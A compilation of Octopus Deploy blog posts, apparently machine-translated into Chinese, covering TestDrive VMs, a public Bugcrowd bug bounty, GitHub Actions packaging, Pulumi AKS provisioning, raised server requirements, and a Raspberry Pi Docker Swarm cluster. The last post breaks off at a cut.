如果你从来没有使用过 vagger，最简单的方法就是把它当成一个管理程序的通用 CLI 工具。vagger 使得消费和创建虚拟机变得容易，你只需要执行两个命令就可以下载并在本地安装一个虚拟机。例如，为 VirtualBox 用户安装 Octopus、Jenkins 和 Kubernetes 虚拟机是通过以下两个命令完成的:
vagrant init octopusdeploy/jenkins-java-k8s
vagrant up --provider=virtualbox
或者这两个针对 Hyper-V 用户的命令:
vagrant init octopusdeploy/jenkins-java-k8s
vagrant up --provider=hyperv
你可以从 Octopus TestDrive 页面找到所有的虚拟机。
虚拟机启动后，您将登录到 Ubuntu 桌面。已安装应用程序的快捷方式已添加到左侧的 dock 中。下面的屏幕截图显示了 Kubernetes 虚拟机中的各种图标:
您现在有了一个完整的 CI/CD 管道来进行实验。通过利用虚拟机管理程序的快照功能，您可以快速回滚任何更改，使该虚拟机成为探索 Octopus 的理想环境。
结论
如果你曾经好奇 Octopus 能为你做什么，或者你想探索 Octopus 作为一个完整的 CI/CD 管道的一部分，TestDrive VMs 是一种快速和安全的方式来试验 Octopus、Jenkins 和其他平台，如 Kubernetes、NGINX、Tomcat 和 WildFly。
公众虫赏金计划与虫群-章鱼部署
我们已经和 Bugcrowd 一起运行了一个私人的 bug bounty 项目超过 12 个月了，我们很高兴地宣布我们正在把它变成一个任何人都可以加入的公共项目。在这篇文章中，我将解释为什么我们要这样做，到目前为止我们从这个项目中看到了多少数字，以及你如何加入进来。
大多数在线团队都熟悉安全研究人员会停下来报告一些不太正确的事情。自然，当他们发现重要问题时，我们要说“谢谢！”让我们的网站对每个人来说都更安全。
我们一直有一个关于负责任的披露的政策来支持这一点，就我个人而言，我有很多时间给赏金猎人和研究人员，因为我认为我自己就是其中之一！
然而，公平地奖励人们是很难管理的，随着你网站流量的增加，寻找“谢谢”感觉的人也会增加。我们并没有真正建立起管理支付以及支付所需的政策和程序。
我们已经投入了大量资源来保护自己的安全和编写优秀的代码，但与 Bugcrowd 建立关系以开发一个奖金计划使我们能够保持积极的反馈循环，减少任何“噪音报告”，并使我们能够专注于我们最擅长的事情+。
目前为止我们的昆虫赏金之旅
我们认为这种方法应该与我们现有的常规渗透测试一起运行，而不是取代它。决定从小规模开始，只将研究人员的注意力集中在我们的网站上(即，排除运行我们的 Octopus 实例的部分),这意味着我们可以学习如何管理负载，因为我们增加了被邀请参加该计划的研究人员的数量。
我们的私人项目于 2019 年在 Q2 启动，截至撰写本文时，我们已经得到了 883 名研究人员的帮助。他们一起给了我们很大的打击，创造了超过 200 个提交，其中 27 个足够严重，可以获得奖励。其中大多数(12 例)为低严重性；Bugcrowd 评级系统中的 P4。我们选择不奖励 P5 的“信息”发现。
我们当前的臭虫赏金统计
关键问题的平均修复时间不到 2 天，如果包括严重性较低的问题，总体平均修复时间为 18 天。还不错，但是还有提高的空间！
在这段时间里，我们已经奖励了超过 16，000 美元，正如你所看到的，它有升有降，主要是由于参与其中的研究人员的数量。
今天就加入我们的昆虫赏金计划吧
今天，我们自豪地宣布，我们将把我们的奖金计划向所有有时间和愿望帮助我们的人公开，我们承诺为遵守我们的范围和 Bugcrowd 规则的研究人员提供一个安全的港湾。我们还要感谢近 900 名研究人员，他们在过去的 12 个月里帮助我们变得更好，并学习如何处理这种活动。
如果你想加入这个有趣的活动，你可以去 Bugcrowd，在他们的研究门户网站上找到我们。在这里，您可以找到我们的范围和奖励计划，但我会为您节省一些点击次数，并在这里为您提供详细信息:
范围
我们的范围严格限制在我们专用的安全测试环境:https://bc.octopus.com。任何超出这个范围的测试都不会得到奖励。我们暂时将我们的产品(包括云产品)排除在这个范围之外，但是我们正在考虑将来如何将它包括进来。目前，我们定期对产品进行外部审计。
有关包含和排除的完整列表，请查看我们 Bugcrowd 页面上的完整简介。
奖励
根据发现的严重程度，奖励从 150 美元到 3000 美元不等，我们使用 Bugcrowd VRT 和 CVSS 评分来帮助我们做出一致的判断。
帮助我们让章鱼更安全
如果你有兴趣帮助保护八达通的安全，并且你希望这项工作得到一些认可，我鼓励你在 Bugcrowd 上查看我们的奖金计划并加入进来！如果你对我们如何运行这个程序有任何反馈，或者如果你想报告这个赏金程序范围之外的一个漏洞，请通过 security@octopus.com 给我们写信。
使用 GitHub 操作将包发布到 Octopus-Octopus Deploy
原文：https://octopus.com/blog/publishing-a-package-to-octopus-with-github-actions
作为 Octopus 2021 Q2 版的一部分，我们引入了对 GitHub 操作的原生支持，因此您可以将您的 GitHub 构建和其他自动化流程与您的 Octopus 工作流集成。在我们的帖子中，了解如何开始宣布针对 Octopus Deploy 的 GitHub 操作。
我最近留出了一些时间来写我的第一个 GitHub 动作。我用我的个人博客作为我的测试案例。这是一个静态站点，由 Wyam 构建，托管在 Firebase 中。
TL；DR :跳到底部看完整的脚本。
什么是 GitHub 动作？
GitHub 动作是可以对存储库中发生的事件做出反应的工作流。推送到分支机构、打开拉式请求和打开问题都是可以触发工作流的事件示例。
在我的例子中，我的工作流对推送到主分支做出反应。
工作流包含一个或多个在 Docker 容器上运行的作业。作业包含一个或多个执行任务的步骤，以执行所需的操作。
我的工作流程
我需要执行的高级步骤包括:
- 查看代码。
- 生成网站。
- 打包网站。
- 将该包推送到我的 Octopus 实例。
其中一些步骤需要先运行其他步骤。我需要安装步骤。NET Core、Wyam 和 Octopus CLI。我还需要一个步骤来计算我的站点包的版本。
工作流创建
创建新的工作流非常直观。我转到我的存储库的动作标签，点击新工作流按钮。
您可以选择一些初学者工作流程。我跳过了这些，选择了自己设置工作流选项。
GitHub 让我进入了一个编辑器，在我的库的.github/workflows/文件夹中有一个新的 YAML 文件。
以下是我对该文件所做的更改。
名称和触发器
我保留了默认名称CI和对master分支的触发:
name: CI
on:
push:
branches: [ master ]
生成作业
我将默认作业从build重命名为generate，并接受它运行的映像:ubuntu-latest:
jobs:
generate:
runs-on: ubuntu-latest
结帐步骤
以下是您可以添加到作业中的最小步骤。在这一行中，我定义了一个步骤，将我的存储库签出到托管作业的 Ubuntu 容器。
重用步骤是 Actions 和许多其他基于 YAML 的管道的一个关键特性。我使用 GitHub Actions 团队提供的第二版checkout步骤。您还可以创作动作并在工作流程中使用第三方动作:
steps:
- uses: actions/checkout@v2
工作流命令和环境变量
动作提供了工作流命令，通过传递给echo的特殊字符串格式，您可以在步骤中使用这些命令。
此步骤称为设置版本，并基于当前日期和工作流的当前运行编号创建包版本。使用set-env命令将包版本保存为$PACKAGE_VERSION。$PACKAGE_VERSION现在在创建和发布包的步骤中可用:
- name: Set version
run: echo "PACKAGE_VERSION=$(date +'%Y.%m.%d').$GITHUB_RUN_NUMBER" >> $GITHUB_ENV
生成网站
要生成我的静态站点，我需要安装。NET 核心，Wyam 工具，并调用 Wyam 对我的源代码。
我用另一个内置动作actions/setup-dotnet@v1来安装。容器上的网芯。该步骤接受。要安装的. NET 版本:
- name: Setup .NET Core
uses: actions/setup-dotnet@v1
with:
dotnet-version: 2.1.802
与。NET，我可以调用 CLI 将 Wyam 工具安装到容器上:
- name: Install Wyam
run: dotnet tool install --tool-path . wyam.tool
最后，Generate site步骤调用 Wyam 来生成站点:
- name: Generate site
run: ./wyam build -r blog -t Stellar src
打包并发布网站
我需要 Octopus CLI 来打包和发布网站。我跳转到 Octopus CLI 下载页面，复制了安装在 Ubuntu 上的脚本:
- name: Install Octopus CLI
run: |
sudo apt update && sudo apt install --no-install-recommends gnupg curl ca-certificates apt-transport-https && \
curl -sSfL https://apt.octopus.com/public.key | sudo apt-key add - && \
sudo sh -c "echo deb https://apt.octopus.com/ stable main > /etc/apt/sources.list.d/octopus.com.list" && \
sudo apt update && sudo apt install octopuscli
我将必要的文件复制到代表包的目录中。然后我调用octo pack命令创建一个 Zip 包，版本设置为$PACKAGE_VERSION:
- name: Package blog.rousseau.dev
run: |
mkdir -p ./packages/blog.rousseau.dev/src/
cp .firebaserc firebase.json ./packages/blog.rousseau.dev/
cp -avr ./src/output ./packages/blog.rousseau.dev/src/
octo pack --id="blog.rousseau.dev" --format="Zip" --version="${{ env.PACKAGE_VERSION }}" --basePath="./packages/blog.rousseau.dev" --outFolder="./packages"
此步骤的输出片段如下所示:
Setting Zip compression level to Optimal
Packing blog.rousseau.dev version "2020.04.08.21"...
Saving "blog.rousseau.dev.2020.04.08.21.zip" to "./packages"...
Adding files from "./packages/blog.rousseau.dev" matching pattern "**"
创建好包后，我调用octo push命令将包上传到我的 Octopus 实例。我的服务器 URL 和 API 密钥在我的存储库中被配置为机密，以确保它们的安全:
- name: Push blog.rousseau.dev to Octopus
run: octo push --package="./packages/blog.rousseau.dev.${{ env.PACKAGE_VERSION }}.zip" --server="${{ secrets.OCTOPUS_SERVER_URL }}" --apiKey="${{ secrets.OCTOPUS_API_KEY }}"
关于 API 密匙的话题，我高度推荐在将另一个应用与 Octopus 集成时建立一个服务账户。有一个内置的Build server角色可以用于 CI 服务帐户。
下面的结果显示请求被认证为GitHub (a service account)而不是我的用户帐户。
在包步骤中创建的包被成功地推送到 Octopus。现在我可以将我的站点部署到 Firebase 了(但那是以后的事了):
Detected automation environment: "NoneOrUnknown"
Space name unspecified, process will run in the default space context
Handshaking with Octopus Server: ***
Handshake successful. Octopus version: 2020.1.6; API version: 3.0.0
Authenticated as: GitHub (a service account)
Pushing package: /home/runner/work/blog.rousseau.dev/blog.rousseau.dev/packages/blog.rousseau.dev.2020.04.08.21.zip...
Requesting signature for delta compression from the server for upload of a package with id 'blog.rousseau.dev' and version '2020.04.08.21'
Calculating delta
The delta file (60,053 bytes) is 0.42 % the size of the original file (14,338,268 bytes), uploading...
Delta transfer completed
Push successful
完整脚本
name: CI
on:
push:
branches: [ master ]
jobs:
generate:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Set version
id: set-version
run: echo "PACKAGE_VERSION=$(date +'%Y.%m.%d').$GITHUB_RUN_NUMBER" >> $GITHUB_ENV
- name: Setup .NET Core
uses: actions/setup-dotnet@v1
with:
dotnet-version: 2.1.802
- name: Install Wyam
run: dotnet tool install --tool-path . wyam.tool
- name: Generate site
run: ./wyam build -r blog -t Stellar src
- name: Install Octopus CLI
run: |
sudo apt update && sudo apt install --no-install-recommends gnupg curl ca-certificates apt-transport-https && \
curl -sSfL https://apt.octopus.com/public.key | sudo apt-key add - && \
sudo sh -c "echo deb https://apt.octopus.com/ stable main > /etc/apt/sources.list.d/octopus.com.list" && \
sudo apt update && sudo apt install octopuscli
- name: Package blog.rousseau.dev
run: |
mkdir -p ./packages/blog.rousseau.dev/src/
cp .firebaserc firebase.json ./packages/blog.rousseau.dev/
cp -avr ./src/output ./packages/blog.rousseau.dev/src/
octo pack --id="blog.rousseau.dev" --format="Zip" --version="${{ env.PACKAGE_VERSION }}" --basePath="./packages/blog.rousseau.dev" --outFolder="./packages"
- name: Push blog.rousseau.dev to Octopus
run: octo push --package="./packages/blog.rousseau.dev.${{ env.PACKAGE_VERSION }}.zip" --server="${{ secrets.OCTOPUS_SERVER_URL }}" --apiKey="${{ secrets.OCTOPUS_API_KEY }}"
结论
GitHub Actions 是将持续集成和交付直接添加到您托管在 GitHub 上的项目的一种极好的方式。当与 Octopus CLI 结合使用时，您将获得一个强大的可重复、可靠的部署。
使用 Pulumi 和 Octopus Deploy - Octopus Deploy 创建 AKS 集群
原文：https://octopus.com/blog/pulumi-and-aks-with-octopus-deploy
创建软件定义的基础架构有许多不同的形式和大小，包括 Terraform 等流行的 IaC 工具和 Ansible 等配置管理工具。对于任何工具来说，都有一点是正确的，那就是你希望能够用自己喜欢的语言编写代码。
Pulumi 结合了作为代码的基础设施和通用编程的力量，使基础设施成为软件，它让你像在 Go、Python、JavaScript 等中一样编写代码。
在这篇博文中，我解释了如何使用 Pulumi、Python 和 Octopus Deploy 创建 Azure Kubernetes 集群(AKS)。
先决条件
当您使用 Pulumi 将基础设施创建为软件时，您需要考虑一些硬性的先决条件。一旦你创建了一个新项目，你会被问及你正在使用哪种云和编程语言，因此，最好选择特定的技术。
要跟进这篇博文，您需要以下内容:
- Pulumi 项目已经定义为使用 Azure 和 Python。
- Azure 账户。如果你还没有，你可以注册一个 30 天的免费试用。
- Azure 应用程序注册。如果你不知道如何创建一个，你可以遵循这些指令。
- Python 的中级知识。
- 一个 GitHub 帐户，你可以在那里开始 Python 代码。
- 外部 GitHub 馈送。
创建 Python 代码
下面几节将向您展示如何用 Python 编写代码。
编写 Python 常量
当您使用 Pulumi 时，有几个选项可以在运行时传递参数:
- 配置文件
- 从命令行
- 硬编码在代码中
我更喜欢创建一个常量文件，因为它可以让我避免对值进行硬编码，并给我一个可以更改值的位置。
如果您决定采用这种方法，在您的 Pulumi 项目中，创建一个名为aksParamConstants.py的新文件。
将下列常量添加到您的文件中。保持keys不变，但是values应该根据您的工作环境而变化:
name = ('octoaks92')
location = ('eastus')
resource_group_name = ('resource_group')
dns_prefix = ("dns_prefix")
min_count = (1)
max_count = (1)
vm_size = ('Standard_D12_v2')
auto_scaling = (True)
clientID = ("azure_app_registration_client_id")
编写 Python 函数
Python 代码将使用 Pulumi Azure Python SDK。
首先，您需要导入将用于创建 AKS 集群的包。
第一个库用于日志记录，将用于输出发生的任何错误。第二个导入是 Pulumi SDK 本身。第三个是您在上一节中创建的[aksParamConstants.py](http://aksparamconstants.py)文件，最后，您从pulumi_azure库中导入核心组件来管理 Azure 中的容器:
import logging
import pulumi
import aksParamConstants as constants
from pulumi_azure import containerservice, core
下一段代码是 Python 函数本身。
该函数调用 SDK 中的KubernetesCluster类，并使用一些您可以初始化并赋值的属性:
def createAKSCluster():
config = pulumi.Config()
if containerservice == None:
logging.warning("Check to ensure the containerservice import is accurate")
else:
try:
containerservice.KubernetesCluster(
resource_name = constants.name,
default_node_pool={
'min_count': constants.min_count,
'max_count': constants.max_count,
'name': constants.name,
'vm_size': constants.vm_size,
'enable_auto_scaling': constants.auto_scaling
},
dns_prefix=constants.dns_prefix,
resource_group_name=constants.resource_group_name,
service_principal={
'client_id': constants.clientID,
'client_secret': config.require_secret('clientSecret')
}
)
except Exception as e:
logging.error(e)
要获得您可以使用的属性的下拉列表，请看一下KubernetesCluster 类下的 SDK 本身。
Pulumi 项目中的__main__.py文件应该如下所示:
import logging
import pulumi
import aksParamConstants as constants
from pulumi_azure import containerservice, core
def createAKSCluster():
config = pulumi.Config()
if containerservice == None:
logging.warning("Check to ensure the containerservice import is accurate")
else:
try:
containerservice.KubernetesCluster(
resource_name = constants.name,
default_node_pool={
'min_count': constants.min_count,
'max_count': constants.max_count,
'name': constants.name,
'vm_size': constants.vm_size,
'enable_auto_scaling': constants.auto_scaling
},
dns_prefix=constants.dns_prefix,
resource_group_name=constants.resource_group_name,
service_principal={
'client_id': config.require('clientID'),
'client_secret': config.require_secret('clientSecret')
}
)
except Exception as e:
logging.error(e)
createAKSCluster()
将代码存储在 GitHub 中
因为 Octopus Deploy 需要从提要中检索和提取 Pulumi 项目，并最终将代码推送到部署目标，所以您可以将 Pulumi 项目推送到 GitHub repo。
接下来，您可以在 GitHub 中创建代码的新版本。Octopus Deploy 在使用外部提要拉入代码时会寻找特定的发布版本。
在 Octopus 部署中配置部署
现在代码已经编写好并存储在 GitHub 中，是时候用 Octopus Deploy 部署这个包了。
Octopus 部署中的身份验证
对于 Pulumi 步骤，您需要一个 Azure 帐户，该帐户被配置为项目变量中的一个变量，以便进行身份验证。
- 在 Octopus 门户网站中，导航到项目。
- 选择项目变量。
- 创建一个名为 Azure 的新变量。
- 在值下，转到 更改➜ Azure 帐户类型 。
- 选择要用于身份验证的 Azure 帐户。
Pulumi 密码和秘密变量
当您从 Pulumi 代码向 Azure 进行身份验证时，您需要提供 Azure 应用注册和客户端密码。客户端机密非常敏感，因此您应该将其存储在安全的地方:
- 转到 项目➜变量 。
- 创建一个名为
clientSecret的新变量。 - 确保类型是敏感的。
- 添加 Azure 应用程序注册客户端机密的值。
代码包步骤
- 在 Octopus Deploy 门户中，创建一个新项目来部署 Pulumi 包。
- 前往 部署➜进程 。
- 点击添加步骤按钮。
您需要添加的第一步是部署包步骤。这允许您指定外部 GitHub 提要，指向 Pulumi 包所在的 GitHub repo，并将其推送到部署目标。
- 在
.NET Configuration Transforms下，点击配置功能按钮。 - 取消选中所有。NET 选项并勾选/选择**自定义安装目录。**自定义安装目录是 Pulumi 包将被推入并存储的位置，以便流程中的下一步可以使用它。
- 保存该步骤。
安装 Pulumi SDK
在运行任何 Pulumi 包之前，您需要确保 Pulumi SDK 存在。Pulumi SDK 还包含 Pulumi SDK 的 Azure。
- 添加一个运行脚本的步骤。
- 在内联源代码部分下，在 Bash 下添加以下代码:
pip install pulumi
普鲁米舞步
接下来，是时候添加第一个 Pulumi 步骤了。Pulumi 步骤将创建一个 secret 和 AKS 集群。您将使用 RUN A SCRIPT 模板来使用 Bash 中的 Pulumi 命令，而不是使用第三方步骤模板。
对于运行脚本步骤，将以下代码添加到脚本下的内联源代码部分:
cd /home/mike/pulumiaks/AKS-Create
secret=$(get_octopusvariable "clientSecret")
sudo /root/.pulumi/bin/pulumi config set --secret clientSecret $secret
sudo /root/.pulumi/bin/pulumi up --yes
运行 Pulumi 部署
现在是运行部署的时候了:
- 点击保存。
- 创建新版本。
- 保存发布。
- 选择要将 Pulumi 软件包部署到的生命周期和部署。
- 点击部署到某 _ 环境。
- 点击部署。
恭喜你。您已经成功地使用基础设施作为软件创建了一个 AKS 集群。
结论
凭借 Pulumi 的强大功能，您不仅可以使用通用编程语言定义基础设施和服务，还可以使用 Octopus Deploy 存储状态和部署功能，我们正在慢慢进入基础设施开发的新时代。
提高托管和使用八达通服务器的最低要求-八达通部署
原文：https://octopus.com/blog/raising-minimum-requirements-for-octopus-server
【2020 年 9 月更新
我们听取了客户的意见，并将我们的 SQL Server 要求从 SQL Server 2017+下调至 SQL Server 2016+
这从以下版本开始生效:
- 2020.1 . x*(2020.1 . x 中未强制执行 SQL 版本变更)*
- ➜最新版
- ➜2020 . 3 . 6 最新
- 2020.4.0 ➜最新
以下版本范围内的任何版本仍然强制执行 SQL Server 2017+版本要求
- 2020.2.0 ➜ 2020.2.17
- 2020.3.0 ➜ 2020.3.5
原始帖子
2020 年，我们将提高托管和使用八达通服务器的最低要求:
- Windows Server 2012 R2 版
- SQL Server 2017+版
此外，我们还将终止对 IE11 的主流支持。
支持旧的服务器和浏览器消耗了我们的时间和注意力，使我们更难创新和推动 Octopus 生态系统向前发展。我们想在 2020 年打破这个循环。从另一个角度来看，如果 Octopus 服务器是您业务中的关键资源，您真的应该考虑一个现代化的操作环境来提高安全性和性能。
也许这就是我们都需要的推动力？也许我们还没有充分考虑到这会给你的生活带来多大的困难？如果这些最低要求在您的场景中会有问题，请在评论中告诉我们原因，或者通过联系我们。这篇博文的其余部分应该回答最常见的问题。
愉快的部署！
问题:我会受到影响吗？
只有在以下情况下，您才会受到影响:
- 您在 Windows Server 2008-2012 或 SQL Server 2008-2014 上托管 Octopus 服务器，并且您想要升级到 Octopus 服务器
2020.x。 - 无论您是在自己的基础设施上托管 Octopus 服务器还是使用 Octopus Cloud，您都必须使用 Internet Explorer 11，这是强制的还是您自己的偏好。
问:我的部署会受到影响吗？
不，您的部署不会受到影响。这些要求只影响八达通服务器本身的托管。我们仍然高度向后兼容您在 Octopus 中的部署目标，包括旧的 Windows 和 Linux 操作系统。
问题:我有多少时间来计划我的升级？
我们将在 2020 年 1 月再发布一个 LTS 版本的 Octopus Server，版本为2019.12 LTS，将在我们的长期支持计划 下提供支持，直到 2020 年 7 月，之后您应该认真考虑升级 Octopus Server。我们希望这给你足够的时间来计划全面升级。
问题:我应该升级八达通服务器吗？
与时俱进对这种关系的双方都有帮助:
- 当你运行现代章鱼服务器时，我们能给你最好的支持。我们可以用更少的开销来解决问题，并且当您应用增量升级时，升级的风险更小。
- 自您上次升级以来，我们所做的一切都让您受益匪浅，包括令人愉快的新功能，如简化的流程编辑器和操作手册。看看有什么新的。此外，看看我们的动态路线图，了解我们计划很快推出的产品。
- 在安全和信任方面，我们积极主动。让你的 Octopus 服务器保持最新是安全可靠安装的基础。不想危言耸听，这里从安全角度列出了升级的个理由。
问:为什么 Windows Server 2012 R2 将是最低操作系统？
我们的驱动原因很简单:。NET Core 3.x 需要 Window Server 2012 R2 ，我们希望 Octopus 服务器有一个单一的目标。现在，我们需要瞄准全部。适用于 Windows 和。NET Core 2.x for Linux。锁定目标。NET Core 3.x 将简化我们的代码库和部署管道。此外，我们更愿意为跨多种 Windows 和 Linux 主机环境的单一框架提供世界一流的支持。
此外，Windows Server 2012 的主流支持早在 2018 年 10 月就已结束。Octopus 是基础设施的重要组成部分，但它的可靠性和安全性取决于底层操作系统。升级只是一个好主意。
问:如何升级我的主机操作系统？
您可以将 Windows Server 操作系统就地升级到更现代的操作系统。了解如何升级 Windows 服务器。
或者，你可以将你的八达通服务器转移到另一台已经运行更现代的操作系统的主机上。了解移动你的八达通服务器。
问题:为什么 SQL Server 2017 会是最小数据库？
我们的驱动原因很简单:我们在混合数据存储中大量使用 JSON，我们希望利用 SQL Server 2017 提供的所有 JSON 功能。过去，我们对推进这一议程犹豫不决，因为我们不想给客户增加负担。回想过去几个月，在许多情况下，现代数据库基础会帮助我们提供更多价值:
- 我们本可以使用一流的 JSON 查询而不是脆弱的 SQL 查询来帮助客户解决复杂的支持问题。
- 出于同样的原因，我们可以编写更健壮的数据库升级脚本。
- 我们可以编写更高效的数据库查询，使 Octopus 更快，而不是受最小公分母的约束。
- 我们可以利用新的数据库引擎特性来加快每个 Octopus 的安装速度。
我们没有看到任何价值从 SQL Server 2012 到 2014 到 2016 不断滚动，迫使您每次都进行升级。我们认为是时候撕掉众所周知的创可贴(TM ),直接跳到 SQL Server 2017，这样我们就可以为所有客户提供更好的价值和更快的周转时间。
问:如何升级我的数据库服务器？
您可以对 SQL Server 执行就地升级。了解升级到 SQL Server 2017 。
问题:Octopus 使用的是共享数据库服务器，很难升级！我们呢？
我们不希望升级八达通服务器很难，希望这不是你在过去 5 年的经历！然而，我们相信最终的结果是值得努力的。在这种情况下，托管在该数据库服务器上的所有应用程序都可能受益于 SQL Server 引擎的改进。这里有一个关于这个主题的好帖子:升级到 SQL Server 2017 的理由。
或者，你可以考虑将你的 Octopus 迁移到 SQL Server 2017 的免费版，直到共享数据库服务器升级。
另一个选择是考虑将转移到章鱼云，在那里我们会代表你处理一切。
如果你真的会被卡住，请伸手聊天！
问题:Internet Explorer 11 怎么样？
我们不会阻止 IE11 访问 Octopus。我们还将保留所有的垫片，让 IE11 在 Octopus 上继续工作一段时间。但是，我们不会在功能开发和测试期间主动针对 IE11，也不会主动修复只影响 IE11 的 bug。是的，随着时间的推移，这可能会导致 IE11 与 Octopus 一起使用的体验下降。
从自私的角度来说，现在我们只有 3%的流量来自 IE，我们花在迎合 IE11 上的时间和精力觉得不值得。
从无私的角度来看，当你真的应该使用现代浏览器时，我们不希望你使用 IE11。甚至微软团队也在 2019 年推动这个议程。IE11 是针对无法与其他浏览器兼容的网络应用的兼容性解决方案，但这不是 Octopus。
在未来的某个时候，我们将删除所有 IE11 特定的代码，并阻止除了现代浏览器之外的任何东西使用 Octopus，从而为我们所有人带来一个更美好的未来。
问:什么时候可以在 Linux 上托管 Octopus 服务器？
在不久的将来。我们已经在内部为章鱼云(我们的 SaaS 平台)做这件事了。当我们准备好支持在您自己的 Linux 基础设施上安装 Octopus 服务器时，我们将发布一个单独的公告。
构建 Raspberry Pi 集群的经验教训——Octopus 部署
原文：https://octopus.com/blog/raspberry-pi-cluster-lessons-learned
像许多其他人一样，在新冠肺炎危机期间，我不得不呆在家里，所以我决定构建一个 Raspberry PI 集群，用 Docker Swarm 探索在其上运行应用程序。在这篇文章中，我分享了我在使用 Docker Swarm 的集群中运行新的 Raspberry Pi 4 时学到的一些经验。
为什么
我是一名开发人员，我对启动一个 Raspberry PI 项目感兴趣有一段时间了。我也对集群计算感兴趣，但是从来没有一个创建集群的好理由。后来，我读到有人在使用 Docker Swarm 的集群中运行新的 Raspberry Pi 4 取得了巨大成功，所以我认为这是了解更多信息的大好时机。
我带着几个目标开始了这个项目:
- 玩得开心，因为树莓皮是非常酷的硬件。
- 将一些计算资源从运行虚拟机的家庭虚拟机管理程序服务器转移到运行容器的小型节能 Raspberry PI 集群。
- 了解更多关于 Docker Swarm 的信息。
Raspberry Pi 硬件
这些是我在项目中使用的部件:
我选择 C4Labs Cloudlet 案例，因为它允许我访问单个 Pi，而不必像可堆叠的案例那样拆卸整个案例。Cloudlet 机箱的原始设计是由 Pi 驱动风扇。如果我需要移除一个 Pi，我不想担心断开电缆，所以我用以下部件为风扇供电:
Cloudlet 案例为这些额外的部分提供了足够的空间。
最后，我需要一个网络交换机来连接 Pi 设备，但是我有一个备用的 8 端口，所以我不需要再买一个。Raspberry Pi 4 带有内置的无线适配器，所以你也可以利用它。
创建集群
有大量的博客文章向你展示了如何用 Docker Swarm 创建一个 Raspberry Pi 集群。我发现如何用 Docker Swarm 运行一个 Raspberry Pi 集群很清楚，也很容易理解。你需要的所有细节都在那个帖子里。
操作蜂群
通过工作，我已经有了一些使用 Docker 和 Kubernetes (K8s)的经验，但是，我从来没有运行过 Docker Swarm。与独立的 Docker 实例相比，在 Docker 群体模式下运行时需要学习一些新概念。例如，在您通常使用docker run语句的地方，您可以在 swarm 中创建一个服务来使用docker service create运行容器。折腾了一段时间后，我有了一个完全可操作的虫群:
第 1 课:不是所有的容器都在 ARM 上运行
我做这个项目的初衷是通过运行容器来减轻我的虚拟机管理程序的负担。在搜索 Docker Hub 时，我发现很少有官方镜像会运行在 ARM 架构上。我通常可以找到某人制作的运行在 Raspberry Pi 上的图像，但它们通常是旧的，而不是当前的版本。
在某些情况下，您可以使用一种变通方法，告诉 Docker 不要将图像解析为架构:
docker service create --name <somename> --no-resolve-image <image>docker stack deploy --name <somename> --compose-file <somefile> --resolve-image never
第二课:堆栈
栈是 Docker 群使用 docker-compose 的方式。事实上，它使用一个合成文件作为它的参数之一。就像 docker-compose 一样，您可以在一个文件中定义多个容器。默认情况下，堆栈部署会为堆栈创建一个网络，这样它们就可以互相通信。这使得仅通过名称就可以很容易地将一个容器引用到另一个容器。例如，下面是在我的 docker swarm 上运行家庭助手的合成文件。这个堆栈由一个 MQTT 服务容器、一个家庭助理容器和一个 MySQL 数据库服务器容器组成。出于我将在后面介绍的原因，我将 Home Assistant 配置为对记录器使用 MySQL 后端:
version: "3.3"
services:
mqtt:
image: eclipse-mosquitto
networks:
- hass
ports:
- 1883:1883
volumes:
- /mnt/clusterpi/mqtt/db:/db
- /etc/localtime:/etc/localtime:ro
home-assistant:
image: homeassistant/home-assistant
networks:
- hass
ports:
- 8123:8123
volumes:
- /mnt/clusterpi/home-assistant:/config
- /etc/localtime:/etc/localtime:ro
mysqldb:
image: hypriot/rpi-mysql
networks:
- hass
ports:
- 3350:3306
environment:
MYSQL_ROOT_PASSWORD: "MySuperSecretPassword"
MYSQL_DATABASE: "homeassistant"
MYSQL_USER: "hassio"
MYSQL_PASSWORD: "AnotherSuperSecretPassword"
volumes:
- /mnt/clusterpi/mysql:/var/lib/mysql
networks:
hass:
在 Home Assistant 的configuration.yaml文件中，你可以看到我在哪里创建了到 mysqldb 容器的连接:
# Configure a default setup of Home Assistant (frontend, api, etc)
default_config:
# Uncomment this if you are using SSL/TLS, running in Docker container, etc.
# http:
# base_url: example.duckdns.org:8123
# Text to speech
tts:
- platform: google_translate
group: !include groups.yaml
automation: !include automations.yaml
script: !include scripts.yaml
scene: !include scenes.yaml
recorder:
db_url: mysql://root:MySuperSecretPassword@mysqldb/homeassistant?charset=utf8
第三课:群体成员行动一致
当与 docker 群组一起工作时，群组的所有成员都像一个整体一样行动。看上面的图，我们可以看到所有的容器都分布在群体的成员中。
当通过公开的端口连接到容器时，没有必要引用当前托管容器的节点。我们可以看到，clusterpi-1托管了名为viz的容器(这是图形的网页，visualizer)。viz容器端口被映射到主机端口 80，因此我可以通过 http://clusterpi-1 访问visualizer容器网页。也可以通过 http://clusterpi-4 访问它，即使clusterpi-4不是容器的当前主机。这也意味着任何被映射的端口都不能被另一个容器使用。mysql_dev容器是唯一可以映射到 3306 的东西，所有其他 MySQL 容器(除非它们是mysql_dev的复制品)都必须使用不同的端口。
第 4 课:持续的存储灾难
您从容器中学到的第一个教训是，当容器被销毁时，数据不会持久。为了防止这种情况，您需要配置容器，将它通常存储在内部的内容映射到外部卷。在 docker 主机上创建卷相当容易。使用-v开关:-v /my/local/folder:/var/lib/data指定本地文件夹到包含文件夹的映射。然而，这在 docker swarm 中出现了一个问题，因为无法保证每次运行时相同的主机都会运行相同的容器(好吧，从技术上来说，你可以通过约束来实现，但是这违背了 swarm 的目的)。为了解决这个问题，我们需要一个群体的所有成员都可以访问的东西，比如一个网络位置。
网络存储选项
有两种方法可以实现这一点；网络文件系统(NFS)或通用互联网文件系统(CIFS)。
NFS 通常用于 Linux/Unix 系统，CIFS 通常用于 Windows 系统，尽管 Windows 确实有 NFS 实现。在我的家庭环境中，我有一个用于文件服务器的 Windows 服务器，所以我选择使用 CIFS。
配置 CIFS
这篇文章很好地解释了如何在 Linux 上使用 CIFS，包括如何挂载 Windows 共享。我使用 CIFS 和/etc/fstab中的一个条目将我的 Pi 设备连接到我的文件服务器，尽管我确实有一个副作用。当我重新启动集群时，它们都可以访问文件共享，但是我的所有容器都在 Manager 节点上结束。从我的一个工人的/etc/fstab中删除条目证实了这确实是导致问题的原因。
等待网络连接
所有容器都在 Manager 节点上结束的问题困扰了我一段时间。最终，我通过在/etc/fstab的 CIFS 线中添加另一个选项解决了这个问题；_netdev。_netdev开关延迟安装，直到联网被启用。在将它添加到所有 Pi 设备之后，管理器再次能够分发容器。
绕过权限检查
